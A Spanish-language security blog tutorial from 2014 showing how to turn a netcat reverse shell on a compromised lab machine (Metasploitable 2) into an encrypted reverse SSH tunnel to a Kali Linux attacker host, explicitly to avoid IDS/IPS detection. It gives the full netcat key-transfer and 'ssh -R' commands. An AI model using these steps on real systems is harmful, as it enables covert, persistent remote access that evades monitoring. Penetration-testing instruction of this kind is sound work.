Configurar un Shell Inverso SSH

  • Posted on: 12 November 2014
  • By: ReYDeS

Después de comprometer satisfactoriamente un objetivo de evaluación y tener una cuenta, el realizar acciones utilizando una conexión con netcat incrementa la probabilidades de detección por los mecanismos de seguridad implementados, como un IDS (Intrusion Detection System) o IPS (Intrusion Prevention System). Para evitar o minimizar las probabilidades de ser detectados se requiere configurar un túnel cifrado. Para el presente ejemplo se utilizará SSH.

Se tiene un shell inverso utilizando netcat en el sistema comprometido.

Para poder establecer un túnel SSH hacia el sistema comprometido, se debe crear un par de llaves “publica/privada”.

# ssh-keygen

Se transfiere el archivo de nombre “id_rsa”, el cual contiene la llave “privada” hacia el sistema comprometido, utilizando netcat.

En Metasploitable 2

$ nc -n -v 192.168.0.12 1234 > .ssh/id_rsa

En Kali Linux:

# nc -n -v -l -p 1234 < /tmp/id_rsa

Ahora se añade el archivo de nombre “id_rsa.pub” al archivo de nombre “.ssh/authorized_keys”, en Kali Linux.

# cat /tmp/id_rsa.pub >> .ssh/authorized_keys

De regreso al shell inverso con netcat, se procede a definir los permisos “0600” al archivo transferido de nombre “.ssh/id_rsa”

chmod 0600 .ssh/id_rsa

En Kali Linux iniciar el Servidor SSH.

# service ssh start

De regreso al shell inverso con netcat, se ejecuta el comando ssh con el paráemtro “-o StrictHostKeyChecking=no”, el cual permite evitar cualquier consulta de autenticación, lo cual podrá interferir en la conexión. “-R 44444:localhost:22”, donde “-R” permite crear una conexión inversa. El puerto 44444 es la conexión SSH creada sobre Kali Linux para este túnel, y el puerto 22 es el puerto al cual el túnel se conectará hacia el sistema comprometido. root@192.168.0.12 configura al túnel SSH a conectarse como el usuario “root” al sistema Kali Linux.


ssh -o StrictHostKeyChecking=no -R 44444:localhost:22 root@192.168.0.12

Establecido el túnel SSH entre el sistema comprometido y Kali Linux. El siguiente paso es conectarse al puerto TCP 44444 del host local (Kali Linux).


# ssh -p 44444 localhost

Ya se tiene creado el túnel cifrado SSH.

Se utiliza wireshark para verificar o analizar el funcionamiento del túnel. Anotar el establecimiento de una conexión en localhost hacia/desde el puerto TCP 44444. Además de la conexiones cifradas utilizando el protocolo SSH desde/hacia el sistema comprometido y Kali Linux.

Fuentes:

http://www.openssh.com/
https://www.kali.org/
http://sourceforge.net/projects/virtualhacking/files/os/hackerdemia/

Sobre el Autor


Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor Independiente en Ciberseguridad
Correo Electrónico: ReYDeS@gmail.com
Twitter: https://twitter.com/Alonso_ReYDeS
LinkedIn: https://pe.linkedin.com/in/alonsocaballeroquezada/
Facebook: https://www.facebook.com/alonsoreydes
Youtube: https://www.youtube.com/c/AlonsoCaballero


Webinar Informática Forense